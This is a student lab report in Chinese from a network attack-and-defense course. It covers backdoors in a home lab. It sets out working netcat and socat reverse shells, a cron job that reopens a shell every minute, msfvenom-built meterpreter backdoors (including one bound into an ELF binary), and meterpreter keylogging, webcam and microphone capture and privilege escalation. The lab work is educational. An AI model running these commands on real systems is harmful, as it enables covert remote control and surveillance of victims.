20232307 2025-2026-1 《网络与系统攻防技术》实验二实验报告
1. 实验内容
相关知识:后门就是不经过正常认证流程而访问系统的通道。后门类型:编译器留后门、操作系统留后门、应用程序中留后门、还有潜伏于操作系统中或伪装为特定应用的专用后门程序。
回答问题
(1)例举你能想到的一个后门进入到你系统中的可能方式?
向目标系统发送钓鱼邮件并携带恶意附件;利用社会工程学攻击,利用人的好奇心,通过含有后门文件的U盘进行传输;在非正规的网站下载文件等
(2)例举你知道的后门如何启动起来(win及linux)的方式?
-
Windows系统:
①注册表启动:通过修改注册表中核心启动路径,将后门程序路径添加为开机自启项
②任务计划程序:在Windows任务计划程序中创建定时任务,指定在特定时间或事件触发时执行恶意程序。
③进程注入:利用CreateRemoteThread等API将后门代码注入到正常进程中,通过合法进程的外壳隐藏启动行为。 -
Linux系统:
cron 定时任务:编辑当前用户的crontab或系统级的cron目录,添加定时任务,以便在每次重启时执行后门。
(3)Meterpreter有哪些给你印象深刻的功能?
可以连接主机,获得主机的音频、摄像头、截屏、键盘输入内容等权限,还可以提高权限。
键盘输入:可以获取用户在键盘上敲击的内容
摄像头:获得摄像头权限可以直接拍照
(4)如何发现自己有系统有没有被安装后门?
可以通过任务管理器查看是否有异常进程
检查注册表启动项、任务计划程序中的定时任务,Linux中查看crontab定时任务列表
使用安全工具扫描,例如杀毒软件和Rootkit检测工具
2. 实验要求
(1)使用netcat获取主机操作Shell,cron启动某项任务
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
3. 实验过程与分析
3.1 实验准备
在实验开始前,关闭主机防火墙与病毒防护
关闭病毒威胁防护:
3.2 使用netcat获取主机操作Shell,cron启动定时任务
3.2.1 环境准备
下载netcat1.12,下载链接
安装教程
下载安装完成后查看本机和虚拟机的ip地址(此处我发现连接校园网时本机和虚拟机不在同一个网段,换成连接手机热点后处在同一网段)
windows ip:192.168.43.246
kali ip:192.168.190.133
3.2.2 监听虚拟机
在windows主机上,打开命令提示符,使用命令:
nc -l -p 2307
启动监听模式,即让nc作为服务器端,等待其他主机的连接。
-p用于指定监听的端口号,这里使用学号2307作为监听的端口号。
在kali虚拟机中使用命令
nc 192.168.43.246 2307 -e /bin/sh
执行该命令后,本地主机会主动向192.168.43.246的2307端口发起 TCP 连接。
连接成功后,主机即可获得虚拟机的shell
3.2.3 启动定时任务
cron服务:是系统守护进程,开机后自动启动并一直在后台运行,持续检测用户设定的任务调度时间,当到达设定时间点时,就触发执行对应的任务。
crontab:是cron的配置文件管理工具。用户通过crontab命令来管理自己的定时任务配置文件,每个用户都可以有自己独立的crontab文件,记录着该用户需要定时执行的任务。
虚拟机中执行命令
crontab -e
打开编辑器后选择2:user/bin/vim.basic(此处我第一次选择错了,所以使用了select-editor
命令重新选择了一下)
打开一个编辑界面,在这个界面中,用户可以添加、修改或删除定时任务。
在cron表的末尾添加:
*****/bin/nc 192.168.43.246 2307 -e /bin/sh
这条crontab配置会让系统每分钟自动执行一次反向Shell命令,持续尝试向192.168.43.246:2307发起连接。只要攻击者在目标IP和端口上通过nc -l -p 2307监听,就能获取本地主机的Shell权限。
通过命令crontab -l
,查看进程表的情况
修改成功!
验证cron任务
在虚拟机中通过路径:/var/spool/cron/crontabs,找到crontab文件夹使用root身份打开
crontab文件夹中多了一个root文件,创建定时任务成功!
3.2.4 修改定时任务
在windows主机中输入:
echo "* * * * * echo "20232307" > /home/my/2307_1.txt" > /var/spool/cron/crontabs/root
表示向定时任务文件中写入一条指令,该指令是每分钟执行一次,将“20232307”写入文件中
再通过crontab -l
,查看修改内容
一分钟后打开虚拟机,查看指定路径中文件内容
3.3 使用socat获取主机的Shell
3.3.1 windows下载socat
socat tcp-listen:2307 exec:cmd.exe,pty,stderr
socat工具在Windows系统中创建TCP监听端口,此处使用学号2307作为端口号
在虚拟机上输入命令:
socat - tcp:192.168.43.246:2307
使用socat连接到windoes主机的2307端口
3.3.2 创建定时任务
在windows的CodeBlocks中创建了一个wlgf1019.c文件,文件内容如下图所示:
在cmd中使用gcc编译,生成exe文件:
在虚拟中输入指令:
schtasks /create /scminute /mo 1 /tn "20232307my"/tr"D:\test\wlgf1019.exe
执行该命令后,Windows系统会创建一个名为20232307my的定时任务,实现每隔1分钟,自动运行D:\test\wlgf1019.exe程序
在主机中打开“计算机管理——系统工具——任务计划程序——任务计划程序库”,可以看到20232307my这个程序无限期每隔一分钟执行一次。
3.4 使用MSF meterpreter生成可执行文件,利用socat传送到主机并运行获取主机Shell
这个功能的实现是通过使用MSF在Kali虚拟机上生成一个后门文件,再通过socat传输到windows主机上,使windows主机可以主动连接Kali虚拟机,由此,Kali虚拟机可实现对windows主机的监听,获取到主机的shell
3.4.1 生成后门文件
在虚拟机中输入命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.133 LPORT=2307 -f exe 20232307_backdoor.exe
创建一个名为20232307_backdoor的可执行文件,即后门程序
3.4.2 文件传输
由于上一步的实验操作是“使用socat获取主机的Shell”,所以此处我接着使用socat工具来传输文件,此时接续上一步的功能:socat工具已在Windows系统中创建TCP监听端口,端口号为2307,接着,在虚拟机上输入以下命令:
socat -u FILE:20232307_backdoor.exe TcP:192.168.43.246:2307
该命令实现了Kali虚拟机将20232307_backdoor.exe通过端口2307传输到windows主机上
下面在windows主机上查找20232307_backdoor.exe:
文件存在,传输成功!
3.4.3 配置监听、获取主机shell
在虚拟机终端打开Metasploit框架,对监听模块进行配置。在打开Metasploit框架框架之前,为避免Meterpreter会话建立后立刻关闭(Dided),最好先更新Metasploit框架及其所有依赖项,确保它们与当前系统的Ruby版本兼容,使用以下命令来更新:
sudo apt update
sudo apt install metasploit-framework
下面来配置监听:
msfconsole
use exploit/multi/handler #等待并处理来自载荷的连接
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.190.133
set LPORT 2307
exploit #启动监听器
在windows主机上运行传输过来的后门程序:
d: //我传输的文件在D盘里面
20232307_backdoor
攻击成功后,Kali获取windows主机的shell,输入命令dir可获得当前目录下的文件与目录
3.5 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
3.5.1 获取目标主机的音频、主机、摄像头、键盘输入的信息
record_mic #从目标主机的麦克风录制音频
screenshot #获取目标主机当前屏幕的截图,保存为图片文件
webcam_snap #通过目标主机的摄像头拍摄一张照片
keyscan_start #开始捕获目标主机的键盘输入(键盘记录)
keyscan_dump #导出键盘记录缓存区的内容,将目标机上的按键记录输出在终端
获取音频:
可查看到生成的音频文件:
获取键盘输入的内容:
00
从键盘输入:“网络攻防实验二 20232307孟月”
输出我刚刚在键盘上打印的内容:
命令webcam_snap
,使用目标主机摄像头拍摄一张照片
3.5.1 尝试提权
在虚拟机中使用getuid
命令查看初始的用户名
使用getsystem
命令提权
提权后查看用户名,发现于初始时的用户名相同。
3.6 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
在虚拟机中使用msfvenom生成恶意负载并将其捆绑到pwn1020文件中。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.190.133 LPORT=1234 -x /home/my/pwn1 -f elf > pwn1020
sudo chmod a+x pwn1020 //赋予可执行权限
打开另外一个shell,配置监听
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.190.133
set LPORT 1234
在原shell中运行pwn1020文件。
监听成功,在另一个shell中输入dir,即可获得windows主机的D盘内容。
4. 问题及解决方案
-
问题一:虚拟机在建立Meterpreter会话后,很快关闭,具体情况如下图所示:
-
解决方案:这是由于Ruby版本与Metasploit框架当前版本所依赖的Ruby版本不兼容。在虚拟机中运行sudo apt update && sudo apt install metasploit-framework并下载安装Visual C++,再次打开Meterpreter会话后问题即可解决。
-
问题二:在实现第5个“使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell”的过程中,两个终端无法成功建立连接。
-
解决方案:应该是命令中的文件路径/home/my/桌面/pwn1中包含中文导致注入失败,更换pwn1文件的路径后注入成功。
5. 学习感悟、思考
本次实验围绕后门技术与攻防展开,让我对网络攻击的底层逻辑有了更直观的理解。从最基础的netcat反向Shell到复杂的Meterpreter功能利用,我逐步理解了后门的原理与注入方式,在攻击主机的过程中获取主机的摄像头权限、音频权限和键盘输入内容等,让我体会到了网络攻防课程的乐趣所在。同时在实验过程中也遇到了一些意料之外的问题,通过仔细分析最终也是解决了,这个过程锻炼了我的问题分析和解决能力,期待网络攻防课程的后续实验!
参考资料
- 利用netcat进行反弹连接
- MSF_Metasploit框架基础
- 后门原理与实践
- 后门进阶应用Meterprter